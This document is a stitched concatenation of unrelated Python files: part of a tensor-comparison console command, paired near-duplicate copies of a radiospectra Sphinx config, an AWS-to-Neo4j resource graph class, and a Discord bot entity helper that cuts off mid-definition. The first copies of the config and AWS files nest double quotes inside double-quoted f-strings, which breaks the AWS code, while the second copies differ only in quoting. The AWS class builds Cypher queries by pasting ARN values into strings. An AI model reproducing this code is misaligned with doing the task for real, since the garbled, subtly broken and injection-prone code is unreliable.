supplied the saved tensors will be listed. All the tensors in the store are available in dictionary 'tensors' in the python console accessed by the command 'py'. Tensors can be displayed side by side or the average absolute error or QSNR displayed. If a step is selected then the error by channel will be displayed. If there is a difference between the tensor shapes so the tensors can not be compared 'shape' will be shown as the result. If one or both of the tensors do not exist then N/A will be displayed.""" if args.clear: self.pfeedback('tensor store cleared') self.tensor_store.clear() return if args.gap_load: store_name = args.gap_load if not args.name else args.name self.tensor_store[store_name] = at_map_tensors( self.G, at_tensor_loader(args.gap_load)) return if args.tensors: if len(args.tensors) == 1: tensor_name = args.tensors[0] tensors = self.tensor_store.get(tensor_name) if tensors is None: self.perror("{} not in store".format(tensor_name)) return if args.step is None: self.perror("you must select a step") return if args.step >= len(tensors): self.perror( "{} doesn't have that step".format(tensor_name)) return if tensors[args.step] is None: self.perror( "{} doesn't have this tensor for that step".format(tensor_name)) return tensor = tensors[args.step] if args.index >= len(tensor): self.perror( f"{tensor_name} doesn't have a tensor at index {args.index} for that step") return tensor = tensor[args.index] if args.channel is not None: t_shape = tensor.shape if len(t_shape) < len(args.channel): self.perror( f"too many channel indexes for tensor {tensor_name} with shape {t_shape}") return else: for c in args.channel: if c >= tensor.shape[0]: self.perror( f"invalid channel indexes for tensor {tensor_name} with shape {t_shape}") return tensor = np.atleast_1d(tensor[c]) if args.write_numpy: np.save(args.write_numpy, tensor) else: term_size = shutil.get_terminal_size(fallback=(80, 23)) max_line_width = term_size.columns self.ppaged(np.array_str(tensor, max_line_width=max_line_width, precision=3, suppress_small=True)) return compare = args.tensors tensors = [None]*2 for i in range(2): tensors[i] = self.tensor_store.get(compare[i]) if tensors[i] is None: self.perror("{} not in store".format(compare[i])) return tensors[i] = [t[args.index] if len(t) > args.index else None for t in tensors[i]] if args.step is not None: for i in range(2): if args.step >= len(tensors[i]): self.perror( "{} doesn't have that step".format(compare[i])) return if tensors[i][args.step] is None: self.perror( "{} doesn't have this tensor for that step".format(compare[i])) return tensors[i] = [tensors[i][args.step]] if args.channel is not None: for i in range(2): for j, tensor in enumerate(tensors[i]): if len(tensor.shape) < len(args.channel): tensors[i][j] = None else: for c in args.channel: tensor = np.atleast_1d(tensor[c]) tensors[i][j] = tensor if args.compare_qsnr or args.compare_error or args.compare_cos_similarity: if args.compare_qsnr: etype = "QSNR" tdtype = "a" prec = 0 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return qsnr(x.astype(np.float), y.astype(np.float)) return "N/A" elif args.compare_cos_similarity: etype = "COS similarity" tdtype = "a" prec = 2 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return float(cos_similarity(x.astype(np.float), y.astype(np.float))) return "N/A" else: etype = "Max abs error" tdtype = "a" prec = 3 def func(x, y): if x is not None and y is not None: if x.shape != y.shape: return "shape" return float(np.max(np.abs(x - y))) return "N/A" if args.step is not None: print(f"{etype} for step {args.step}") if args.channel is not None: print(f"{etype} for dimensions [{','.join([str(chan) for chan in args.channel])}]") #pylint: disable=unsubscriptable-object out = [func(tensors[0][0][i], tensors[1][0][i]) for i in range(len(tensors[0][0]))] else: out = [func(t1, t2) for t1, t2 in zip(*tensors)] table = CustomTexttable() table.set_cols_align(['l']+(['r']*10)) table.set_cols_dtype(['a']+([tdtype]*10)) table.header(['']+[str(x) for x in range(0, 10)]) table.set_max_width(0) table.set_precision(prec) row = None idx = 0 for val in out: if idx % 10 == 0: if row is not None: table.add_row(row) row = [f'{int(idx)}'] row.append(val) idx += 1 if row and len(row) > 1: table.add_row(row + ([''] * (11-len(row)))) print(table.draw()) print() else: self.ppaged("\n".join(print_comparison(tensors))) return for idx, k in enumerate(self.tensor_store): print("{:3d}) {}".format(idx, k))
""" Configuration file for the Sphinx documentation builder. isort:skip_file """ # flake8: NOQA: E402 # -- stdlib imports ------------------------------------------------------------ import os import sys import datetime from pkg_resources import get_distribution from packaging.version import Version # -- Check for dependencies ---------------------------------------------------- doc_requires = get_distribution("radiospectra").requires(extras=("docs",)) missing_requirements = [] for requirement in doc_requires: try: get_distribution(requirement) except Exception as e: missing_requirements.append(requirement.name) if missing_requirements: print( f"The {" ".join(missing_requirements)} package(s) could not be found and " "is needed to build the documentation, please install the 'docs' requirements." ) sys.exit(1) # -- Read the Docs Specific Configuration -------------------------------------- # This needs to be done before sunpy is imported on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if on_rtd: os.environ['SUNPY_CONFIGDIR'] = '/home/docs/' os.environ['HOME'] = '/home/docs/' os.environ['LANG'] = 'C' os.environ['LC_ALL'] = 'C' os.environ['HIDE_PARFIVE_PROGESS'] = 'True' # -- Non stdlib imports -------------------------------------------------------- from radiospectra import __version__ # NOQA # -- Project information ------------------------------------------------------- project = 'radiospectra' author = 'The SunPy Community' copyright = '{}, {}'.format(datetime.datetime.now().year, author) # The full version, including alpha/beta/rc tags release = __version__ radiospectra_version = Version(__version__) is_release = not(radiospectra_version.is_prerelease or radiospectra_version.is_devrelease) # For the linkcheck linkcheck_ignore = [r"https://doi.org/\d+", r"https://element.io/\d+", r"https://github.com/\d+", r"https://docs.sunpy.org/\d+"] linkcheck_anchors = False # This is added to the end of RST files - a good place to put substitutions to # be used globally. rst_epilog = """ .. SunPy .. _SunPy: https://sunpy.org .. _`SunPy mailing list`: https://groups.google.com/group/sunpy .. _`SunPy dev mailing list`: https://groups.google.com/group/sunpy-dev """ # -- General configuration ----------------------------------------------------- # Suppress warnings about overriding directives as we overload some of the # doctest extensions. suppress_warnings = ['app.add_directive', ] # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'matplotlib.sphinxext.plot_directive', 'sphinx_automodapi.automodapi', 'sphinx_automodapi.smart_resolver', 'sphinx_changelog', 'sphinx.ext.autodoc', 'sphinx.ext.coverage', 'sphinx.ext.doctest', 'sphinx.ext.inheritance_diagram', 'sphinx.ext.intersphinx', 'sphinx.ext.mathjax', 'sphinx.ext.napoleon', 'sphinx.ext.todo', 'sphinx.ext.viewcode', ] # Add any paths that contain templates here, relative to this directory. # templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. html_extra_path = ['robots.txt'] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The reST default role (used for this markup: `text`) to use for all # documents. Set to the "smart" one. default_role = 'obj' # Disable having a separate return type row napoleon_use_rtype = False # Disable google style docstrings napoleon_google_docstring = False # -- Options for intersphinx extension ----------------------------------------- # Example configuration for intersphinx: refer to the Python standard library. intersphinx_mapping = { "python": ( "https://docs.python.org/3/", (None, "http://www.astropy.org/astropy-data/intersphinx/python3.inv"), ), "numpy": ( "https://numpy.org/doc/stable/", (None, "http://www.astropy.org/astropy-data/intersphinx/numpy.inv"), ), "scipy": ( "https://docs.scipy.org/doc/scipy/reference/", (None, "http://www.astropy.org/astropy-data/intersphinx/scipy.inv"), ), "matplotlib": ( "https://matplotlib.org/", (None, "http://www.astropy.org/astropy-data/intersphinx/matplotlib.inv"), ), "sunpy": ( "https://sunpy.org/", (None, "https://docs.sunpy.org/en/stable/"), ), "astropy": ("https://docs.astropy.org/en/stable/", None), "sqlalchemy": ("https://docs.sqlalchemy.org/en/latest/", None), "pandas": ("https://pandas.pydata.org/pandas-docs/stable/", None), "skimage": ("https://scikit-image.org/docs/stable/", None), "drms": ("https://docs.sunpy.org/projects/drms/en/stable/", None), "parfive": ("https://parfive.readthedocs.io/en/stable/", None), "reproject": ("https://reproject.readthedocs.io/en/stable/", None), "aiapy": ("https://aiapy.readthedocs.io/en/stable/", None), } # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. from sunpy_sphinx_theme.conf import * # NOQA # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] # Render inheritance diagrams in SVG graphviz_output_format = "svg" graphviz_dot_args = [ '-Nfontsize=10', '-Nfontname=Helvetica Neue, Helvetica, Arial, sans-serif', '-Efontsize=10', '-Efontname=Helvetica Neue, Helvetica, Arial, sans-serif', '-Gfontsize=10', '-Gfontname=Helvetica Neue, Helvetica, Arial, sans-serif' ]
""" Configuration file for the Sphinx documentation builder. isort:skip_file """ # flake8: NOQA: E402 # -- stdlib imports ------------------------------------------------------------ import os import sys import datetime from pkg_resources import get_distribution from packaging.version import Version # -- Check for dependencies ---------------------------------------------------- doc_requires = get_distribution("radiospectra").requires(extras=("docs",)) missing_requirements = [] for requirement in doc_requires: try: get_distribution(requirement) except Exception as e: missing_requirements.append(requirement.name) if missing_requirements: print( f"The {' '.join(missing_requirements)} package(s) could not be found and " "is needed to build the documentation, please install the 'docs' requirements." ) sys.exit(1) # -- Read the Docs Specific Configuration -------------------------------------- # This needs to be done before sunpy is imported on_rtd = os.environ.get('READTHEDOCS', None) == 'True' if on_rtd: os.environ['SUNPY_CONFIGDIR'] = '/home/docs/' os.environ['HOME'] = '/home/docs/' os.environ['LANG'] = 'C' os.environ['LC_ALL'] = 'C' os.environ['HIDE_PARFIVE_PROGESS'] = 'True' # -- Non stdlib imports -------------------------------------------------------- from radiospectra import __version__ # NOQA # -- Project information ------------------------------------------------------- project = 'radiospectra' author = 'The SunPy Community' copyright = '{}, {}'.format(datetime.datetime.now().year, author) # The full version, including alpha/beta/rc tags release = __version__ radiospectra_version = Version(__version__) is_release = not(radiospectra_version.is_prerelease or radiospectra_version.is_devrelease) # For the linkcheck linkcheck_ignore = [r"https://doi.org/\d+", r"https://element.io/\d+", r"https://github.com/\d+", r"https://docs.sunpy.org/\d+"] linkcheck_anchors = False # This is added to the end of RST files - a good place to put substitutions to # be used globally. rst_epilog = """ .. SunPy .. _SunPy: https://sunpy.org .. _`SunPy mailing list`: https://groups.google.com/group/sunpy .. _`SunPy dev mailing list`: https://groups.google.com/group/sunpy-dev """ # -- General configuration ----------------------------------------------------- # Suppress warnings about overriding directives as we overload some of the # doctest extensions. suppress_warnings = ['app.add_directive', ] # Add any Sphinx extension module names here, as strings. They can be # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom # ones. extensions = [ 'matplotlib.sphinxext.plot_directive', 'sphinx_automodapi.automodapi', 'sphinx_automodapi.smart_resolver', 'sphinx_changelog', 'sphinx.ext.autodoc', 'sphinx.ext.coverage', 'sphinx.ext.doctest', 'sphinx.ext.inheritance_diagram', 'sphinx.ext.intersphinx', 'sphinx.ext.mathjax', 'sphinx.ext.napoleon', 'sphinx.ext.todo', 'sphinx.ext.viewcode', ] # Add any paths that contain templates here, relative to this directory. # templates_path = ['_templates'] # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. # This pattern also affects html_static_path and html_extra_path. # Add any extra paths that contain custom files (such as robots.txt or # .htaccess) here, relative to this directory. These files are copied # directly to the root of the documentation. html_extra_path = ['robots.txt'] exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] # The suffix(es) of source filenames. # You can specify multiple suffix as a list of string: source_suffix = '.rst' # The master toctree document. master_doc = 'index' # The reST default role (used for this markup: `text`) to use for all # documents. Set to the "smart" one. default_role = 'obj' # Disable having a separate return type row napoleon_use_rtype = False # Disable google style docstrings napoleon_google_docstring = False # -- Options for intersphinx extension ----------------------------------------- # Example configuration for intersphinx: refer to the Python standard library. intersphinx_mapping = { "python": ( "https://docs.python.org/3/", (None, "http://www.astropy.org/astropy-data/intersphinx/python3.inv"), ), "numpy": ( "https://numpy.org/doc/stable/", (None, "http://www.astropy.org/astropy-data/intersphinx/numpy.inv"), ), "scipy": ( "https://docs.scipy.org/doc/scipy/reference/", (None, "http://www.astropy.org/astropy-data/intersphinx/scipy.inv"), ), "matplotlib": ( "https://matplotlib.org/", (None, "http://www.astropy.org/astropy-data/intersphinx/matplotlib.inv"), ), "sunpy": ( "https://sunpy.org/", (None, "https://docs.sunpy.org/en/stable/"), ), "astropy": ("https://docs.astropy.org/en/stable/", None), "sqlalchemy": ("https://docs.sqlalchemy.org/en/latest/", None), "pandas": ("https://pandas.pydata.org/pandas-docs/stable/", None), "skimage": ("https://scikit-image.org/docs/stable/", None), "drms": ("https://docs.sunpy.org/projects/drms/en/stable/", None), "parfive": ("https://parfive.readthedocs.io/en/stable/", None), "reproject": ("https://reproject.readthedocs.io/en/stable/", None), "aiapy": ("https://aiapy.readthedocs.io/en/stable/", None), } # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. from sunpy_sphinx_theme.conf import * # NOQA # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". # html_static_path = ['_static'] # Render inheritance diagrams in SVG graphviz_output_format = "svg" graphviz_dot_args = [ '-Nfontsize=10', '-Nfontname=Helvetica Neue, Helvetica, Arial, sans-serif', '-Efontsize=10', '-Efontname=Helvetica Neue, Helvetica, Arial, sans-serif', '-Gfontsize=10', '-Gfontname=Helvetica Neue, Helvetica, Arial, sans-serif' ]
import json import re from typing import Dict, List, Tuple class AWSResource: def __init__(self, resource_type: str, resource: dict, should_dump_json: bool = False) -> None: self.aws_resource_type: str = resource_type self.should_dump_json = should_dump_json assert self.attr_map is not None and isinstance(self.attr_map, dict) for attr in self.attr_map: setattr(self, attr, resource[self.attr_map[attr]]) self.filename = f"aws-{resource_type}.json" def __del__(self) -> None: if self.should_dump_json: self.dump_json() def create_neo4j_node(self, tx) -> None: tx.run( f"CREATE (n:{self.aws_resource_type}) " + " ".join([f"SET n.{attr} = ${attr} " for attr in self.attr_map]) + "RETURN n", **{attr: getattr(self, attr) for attr in self.attr_map} ) def create_neo4j_relationships(self, tx, aws_resources: Dict[str, Dict[str, dict]]) -> None: pass def create_neo4j_relationship(tx, source_arn: str, source_resource_type: str, relationship: str, dst_arn: str, dst_resource_type: str, extra: str = None) -> None: source_resource_type: str = source_resource_type.replace("-", "_") relationship: str = relationship.replace(":", "_").replace("-", "_").replace("*", "_WILDCARD_").upper() dst_resource_type: str = dst_resource_type.replace("-", "_") tx.run( f"MERGE (src:{source_resource_type} {{arn: "{source_arn}"}}) " "RETURN src.arn" ) tx.run( f"MERGE (dst:{dst_resource_type} {{arn: "{dst_arn}"}}) " "RETURN dst.arn" ) tx.run( f"MATCH (src:{source_resource_type}),(dst:{dst_resource_type}) " "WHERE src.arn = $source_arn AND dst.arn = $dst_arn " f"MERGE (src)-[r:{relationship} {{extra: "{extra if extra is not None else ""}'}}]->(dst) " "RETURN src.arn, type(r), dst.arn", source_arn=source_arn, dst_arn=dst_arn ) def expand_arn(arn: str, resources: Dict[str, dict]) -> List[str]: # If the ARN doesn't contain any wildcards, return it as is if "*" not in arn: return [arn] # Return the ARN with wildcards, along with all existing ARNs in the resource category that match the pattern regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [resource_arn for resource_arn in resources if re.match(regex, resource_arn)] def extract_base_arns(arn: str, aws_resources: Dict[str, Dict[str, dict]]) -> Tuple[List[str], str, str]: if arn == "*": return ["*"], "WILDCARD_AWS_RESOURCE", None elements: List[str] = arn.split(":") if elements[2] == "lambda": return AWSResource.expand_arn(arn, aws_resources["Lambda"]), "Lambda", "" if elements[2] == "s3": elements: List[str] = arn.split("/") base_arn: str = elements[0].replace("*", "") extra: str = "/" + "/".join(elements[1:]) return [base_arn], "S3Bucket", extra if elements[2] == "dynamodb" and "/stream" in arn: elements: List[str] = arn.split("/stream") base_arn: str = elements[0] extra: str = "/stream" + elements[1] return [base_arn], "DynamoDBTable", extra if elements[2] == "dynamodb": return AWSResource.expand_arn(arn, aws_resources["DynamoDBTable"]), "DynamoDBTable", "" if elements[2] == "glue": elements: List[str] = arn.split(":") if elements[5][:5] == "table": regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [glue_resource_arn for glue_resource_arn in aws_resources["GlueTable"] if re.match(regex, glue_resource_arn)], "GlueTable", None if elements[5][:8] == "database": regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [glue_resource_arn for glue_resource_arn in aws_resources["GlueDatabase"] if re.match(regex, glue_resource_arn)], "GlueDatabase", None return [arn], "GlueCatalog", None if elements[2] == "sqs": return AWSResource.expand_arn(arn, aws_resources["SQSQueue"]), "SQSQueue", None if elements[2] == "sns": return AWSResource.expand_arn(arn, aws_resources["SNSTopic"]), "SNSTopic", None if elements[2] == "iam": return AWSResource.expand_arn(arn, aws_resources["IAMRole"]), "IAMRole", None if elements[2] == "kms": return AWSResource.expand_arn(arn, aws_resources["KMSKey"]), "KMSKey", None return [arn], "UNKNOWN_AWS_RESOURCE", None def is_existing_resource( resource_arn: str, resource_type: str, aws_resources: Dict[str, Dict[str, dict]] ) -> bool: if resource_arn == "*": return True if resource_type in aws_resources: return resource_arn in aws_resources[resource_type] return False def dump_json(self) -> None: with open(self.filename, "a") as f: f.write(self.__str__() + "\n") def __str__(self) -> str: return json.dumps( {attr: getattr(self, attr) for attr in self.attr_map}, default=str ) def __repr__(self) -> str: return self.__str__()
import json import re from typing import Dict, List, Tuple class AWSResource: def __init__(self, resource_type: str, resource: dict, should_dump_json: bool = False) -> None: self.aws_resource_type: str = resource_type self.should_dump_json = should_dump_json assert self.attr_map is not None and isinstance(self.attr_map, dict) for attr in self.attr_map: setattr(self, attr, resource[self.attr_map[attr]]) self.filename = f"aws-{resource_type}.json" def __del__(self) -> None: if self.should_dump_json: self.dump_json() def create_neo4j_node(self, tx) -> None: tx.run( f"CREATE (n:{self.aws_resource_type}) " + " ".join([f"SET n.{attr} = ${attr} " for attr in self.attr_map]) + "RETURN n", **{attr: getattr(self, attr) for attr in self.attr_map} ) def create_neo4j_relationships(self, tx, aws_resources: Dict[str, Dict[str, dict]]) -> None: pass def create_neo4j_relationship(tx, source_arn: str, source_resource_type: str, relationship: str, dst_arn: str, dst_resource_type: str, extra: str = None) -> None: source_resource_type: str = source_resource_type.replace("-", "_") relationship: str = relationship.replace(":", "_").replace("-", "_").replace("*", "_WILDCARD_").upper() dst_resource_type: str = dst_resource_type.replace("-", "_") tx.run( f"MERGE (src:{source_resource_type} {{arn: '{source_arn}'}}) " "RETURN src.arn" ) tx.run( f"MERGE (dst:{dst_resource_type} {{arn: '{dst_arn}'}}) " "RETURN dst.arn" ) tx.run( f"MATCH (src:{source_resource_type}),(dst:{dst_resource_type}) " "WHERE src.arn = $source_arn AND dst.arn = $dst_arn " f"MERGE (src)-[r:{relationship} {{extra: '{extra if extra is not None else ''}'}}]->(dst) " "RETURN src.arn, type(r), dst.arn", source_arn=source_arn, dst_arn=dst_arn ) def expand_arn(arn: str, resources: Dict[str, dict]) -> List[str]: # If the ARN doesn't contain any wildcards, return it as is if "*" not in arn: return [arn] # Return the ARN with wildcards, along with all existing ARNs in the resource category that match the pattern regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [resource_arn for resource_arn in resources if re.match(regex, resource_arn)] def extract_base_arns(arn: str, aws_resources: Dict[str, Dict[str, dict]]) -> Tuple[List[str], str, str]: if arn == "*": return ["*"], "WILDCARD_AWS_RESOURCE", None elements: List[str] = arn.split(":") if elements[2] == "lambda": return AWSResource.expand_arn(arn, aws_resources["Lambda"]), "Lambda", "" if elements[2] == "s3": elements: List[str] = arn.split("/") base_arn: str = elements[0].replace("*", "") extra: str = "/" + "/".join(elements[1:]) return [base_arn], "S3Bucket", extra if elements[2] == "dynamodb" and "/stream" in arn: elements: List[str] = arn.split("/stream") base_arn: str = elements[0] extra: str = "/stream" + elements[1] return [base_arn], "DynamoDBTable", extra if elements[2] == "dynamodb": return AWSResource.expand_arn(arn, aws_resources["DynamoDBTable"]), "DynamoDBTable", "" if elements[2] == "glue": elements: List[str] = arn.split(":") if elements[5][:5] == "table": regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [glue_resource_arn for glue_resource_arn in aws_resources["GlueTable"] if re.match(regex, glue_resource_arn)], "GlueTable", None if elements[5][:8] == "database": regex: re.Pattern = re.compile(arn.replace("/", "\\/").replace("*", ".*")) return [arn] + [glue_resource_arn for glue_resource_arn in aws_resources["GlueDatabase"] if re.match(regex, glue_resource_arn)], "GlueDatabase", None return [arn], "GlueCatalog", None if elements[2] == "sqs": return AWSResource.expand_arn(arn, aws_resources["SQSQueue"]), "SQSQueue", None if elements[2] == "sns": return AWSResource.expand_arn(arn, aws_resources["SNSTopic"]), "SNSTopic", None if elements[2] == "iam": return AWSResource.expand_arn(arn, aws_resources["IAMRole"]), "IAMRole", None if elements[2] == "kms": return AWSResource.expand_arn(arn, aws_resources["KMSKey"]), "KMSKey", None return [arn], "UNKNOWN_AWS_RESOURCE", None def is_existing_resource( resource_arn: str, resource_type: str, aws_resources: Dict[str, Dict[str, dict]] ) -> bool: if resource_arn == "*": return True if resource_type in aws_resources: return resource_arn in aws_resources[resource_type] return False def dump_json(self) -> None: with open(self.filename, "a") as f: f.write(self.__str__() + "\n") def __str__(self) -> str: return json.dumps( {attr: getattr(self, attr) for attr in self.attr_map}, default=str ) def __repr__(self) -> str: return self.__str__()
#!/usr/bin/env python # -*- coding: UTF-8 -*- from abc import ABC, abstractstaticmethod import discord from typing import Callable, Dict, List, Tuple from cache import PssCache import pss_core as core class EntityDesignDetails(object): def __init__(self, name: str = None, description: str = None, details_long: List[Tuple[str, str]] = None, details_short: List[Tuple[str, str, bool]] = None, hyperlink: str = None): self.__name: str = name or None self.__description: str = description or None self.__details_long: List[Tuple[str, str]] = details_long or [] self.__details_short: List[Tuple[str, str, bool]] = details_short or [] self.__hyperlink: str = hyperlink or None @property def description(self) -> str: return self.__description @property def details_long(self) -> List[Tuple[str, str]]: return list(self.__details_long) @property def details_short(self) -> List[Tuple[str, str, bool]]: return list(self.__details_short) @property def link(self) -> str: return self.__hyperlink @property def name(self) -> str: return self.__name def get_details_as_embed(self) -> discord.Embed: return EntityDesignDetails._get_details_as_embed(self.name, self.description, self.details_long, self.link) def get_details_as_text_long(self) -> List[str]: return EntityDesignDetails._get_details_as_text_long(self.name, self.description, self.details_long, self.link) def get_details_as_text_short(self) -> List[str]: return EntityDesignDetails._get_details_as_text_short(self.name, self.details_short) @staticmethod def _get_details_as_embed(title: str, description: str, details: List[Tuple[str, str]], link: str) -> discord.Embed: result = discord.Embed() if title: result.title = title if description: result.description = description if details: for (detail_name, detail_value) in details: result.add_field(name=detail_name, value=detail_value) if link: result.set_footer(text=link) return result @staticmethod def _get_details_as_text_long(title: str, description: str, details: List[Tuple[str,str]], link: str) -> List[str]: result = [] if title: result.append(f'**{title}**') if description: result.append(f'_{description}_') if details: for (detail_name, detail_value) in details: if detail_value: result.append(f'{detail_name} = {detail_value}') if link: result.append(f'<{link}>') return result @staticmethod def _get_details_as_text_short(title: str, details: List[Tuple[str,str]]) -> List[str]: result = [] if title: result.append(title) if details: result_details = [] for (detail_name, detail_value, include_detail_name) in details: if detail_value: if include_detail_name and detail_name: result_details.append(f'{detail_name}: {detail_value}') else: result_details.append(detail_value) result.append(f'({', '.join(result_details)})') result = [' '.join(result)] return result class EntityDesignsRetriever: def __init__(self, entity_design_base_path: str, entity_design_key_name: str, entity_design_description_property_name: str, cache_name: str = None, sorted_key_function: Callable[[dict, dict], str] = None, fix_data_delegate: Callable[[str], str] = None): self.__cache_name: str = cache_name or '' self.__base_path: str = entity_design_base_path self.__key_name: str = entity_design_key_name or None self.__description_property_name: str = entity_design_description_property_name self.__sorted_key_function: Callable[[dict, dict], str] = sorted_key_function self.__fix_data_delegate: Callable[[str], str] = fix_data_delegate self.__cache = PssCache( self.__base_path, self.__cache_name, key_name=self.__key_name ) def get_data_dict3(self) -> Dict[str, Dict[str, object]]: return self.__cache.get_data_dict3() def get_entity_design_info_by_id(self, entity_design_id: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> Dict[str, object]: entity_designs_data = entity_designs_data or self.get_data_dict3() if entity_design_id in entity_designs_data.keys(): return entity_designs_data[entity_design_id] else: return None def get_entity_design_info_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> Dict[str, object]: entity_designs_data = entity_designs_data or self.get_data_dict3() entity_design_id = self.get_entity_design_id_by_name(entity_name, entity_designs_data=entity_designs_data) if entity_design_id and entity_design_id in entity_designs_data.keys(): return entity_designs_data[entity_design_id] else: return None def get_entity_design_infos_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None, sorted_key_function: Callable[[dict, dict], str] = None) -> List[Dict[str, object]]: entity_designs_data = entity_designs_data or self.get_data_dict3() sorted_key_function = sorted_key_function or self.__sorted_key_function entity_design_ids = self.get_entity_design_ids_by_name(entity_name, entity_designs_data=entity_designs_data) entity_designs_data_keys = entity_designs_data.keys() result = [entity_designs_data[entity_design_id] for entity_design_id in entity_design_ids if entity_design_id in entity_designs_data_keys] if sorted_key_function is not None: result = sorted(result, key=lambda entity_info: ( sorted_key_function(entity_info, entity_designs_data) )) return result def get_entity_design_id_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> str: results = self.get_entity_design_ids_by_name(entity_name, entity_designs_data) if len(results) > 0: return results[0] else: return None def get_entity_design_ids_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> List[str]: entity_designs_data = entity_designs_data or self.get_data_dict3() results = core.get_ids_from_property_value(entity_designs_data, self.__description_property_name, entity_name, fix_data_delegate=self.__fix_data_delegate) return results def update_cache(self) -> None: self.__cache.update_data()
#!/usr/bin/env python # -*- coding: UTF-8 -*- from abc import ABC, abstractstaticmethod import discord from typing import Callable, Dict, List, Tuple from cache import PssCache import pss_core as core class EntityDesignDetails(object): def __init__(self, name: str = None, description: str = None, details_long: List[Tuple[str, str]] = None, details_short: List[Tuple[str, str, bool]] = None, hyperlink: str = None): self.__name: str = name or None self.__description: str = description or None self.__details_long: List[Tuple[str, str]] = details_long or [] self.__details_short: List[Tuple[str, str, bool]] = details_short or [] self.__hyperlink: str = hyperlink or None @property def description(self) -> str: return self.__description @property def details_long(self) -> List[Tuple[str, str]]: return list(self.__details_long) @property def details_short(self) -> List[Tuple[str, str, bool]]: return list(self.__details_short) @property def link(self) -> str: return self.__hyperlink @property def name(self) -> str: return self.__name def get_details_as_embed(self) -> discord.Embed: return EntityDesignDetails._get_details_as_embed(self.name, self.description, self.details_long, self.link) def get_details_as_text_long(self) -> List[str]: return EntityDesignDetails._get_details_as_text_long(self.name, self.description, self.details_long, self.link) def get_details_as_text_short(self) -> List[str]: return EntityDesignDetails._get_details_as_text_short(self.name, self.details_short) @staticmethod def _get_details_as_embed(title: str, description: str, details: List[Tuple[str, str]], link: str) -> discord.Embed: result = discord.Embed() if title: result.title = title if description: result.description = description if details: for (detail_name, detail_value) in details: result.add_field(name=detail_name, value=detail_value) if link: result.set_footer(text=link) return result @staticmethod def _get_details_as_text_long(title: str, description: str, details: List[Tuple[str,str]], link: str) -> List[str]: result = [] if title: result.append(f'**{title}**') if description: result.append(f'_{description}_') if details: for (detail_name, detail_value) in details: if detail_value: result.append(f'{detail_name} = {detail_value}') if link: result.append(f'<{link}>') return result @staticmethod def _get_details_as_text_short(title: str, details: List[Tuple[str,str]]) -> List[str]: result = [] if title: result.append(title) if details: result_details = [] for (detail_name, detail_value, include_detail_name) in details: if detail_value: if include_detail_name and detail_name: result_details.append(f'{detail_name}: {detail_value}') else: result_details.append(detail_value) result.append(f'({", ".join(result_details)})') result = [' '.join(result)] return result class EntityDesignsRetriever: def __init__(self, entity_design_base_path: str, entity_design_key_name: str, entity_design_description_property_name: str, cache_name: str = None, sorted_key_function: Callable[[dict, dict], str] = None, fix_data_delegate: Callable[[str], str] = None): self.__cache_name: str = cache_name or '' self.__base_path: str = entity_design_base_path self.__key_name: str = entity_design_key_name or None self.__description_property_name: str = entity_design_description_property_name self.__sorted_key_function: Callable[[dict, dict], str] = sorted_key_function self.__fix_data_delegate: Callable[[str], str] = fix_data_delegate self.__cache = PssCache( self.__base_path, self.__cache_name, key_name=self.__key_name ) def get_data_dict3(self) -> Dict[str, Dict[str, object]]: return self.__cache.get_data_dict3() def get_entity_design_info_by_id(self, entity_design_id: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> Dict[str, object]: entity_designs_data = entity_designs_data or self.get_data_dict3() if entity_design_id in entity_designs_data.keys(): return entity_designs_data[entity_design_id] else: return None def get_entity_design_info_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None) -> Dict[str, object]: entity_designs_data = entity_designs_data or self.get_data_dict3() entity_design_id = self.get_entity_design_id_by_name(entity_name, entity_designs_data=entity_designs_data) if entity_design_id and entity_design_id in entity_designs_data.keys(): return entity_designs_data[entity_design_id] else: return None def get_entity_design_infos_by_name(self, entity_name: str, entity_designs_data: Dict[str, Dict[str, object]] = None, sorted_key_function: Callable[[dict, dict], str] = None) -> List[Dict[str, object]]: entity_designs_data = entity_designs_data or self.get_data_dict3() sorted_key_function = sorted_key_function or self.__sorted_key_function entity_design_ids = self.get_entity_design_ids_by_name(entity_name, entity_designs_data=entity_designs_data) entity_designs_data_keys = entity_designs_data.keys() result = [entity_designs_data[entity_design_id] for entity_design_id in entity_design_ids if entity_design_id in entity_designs_data_keys] if sorted_key_function is not None: result = sorted(result, key=lambda entity_info: ( sorted_key_function(entity_info, entity_designs_data) )) return result def get_entity_design_id_by_name(self, entity_name: str, entity_designs_data: 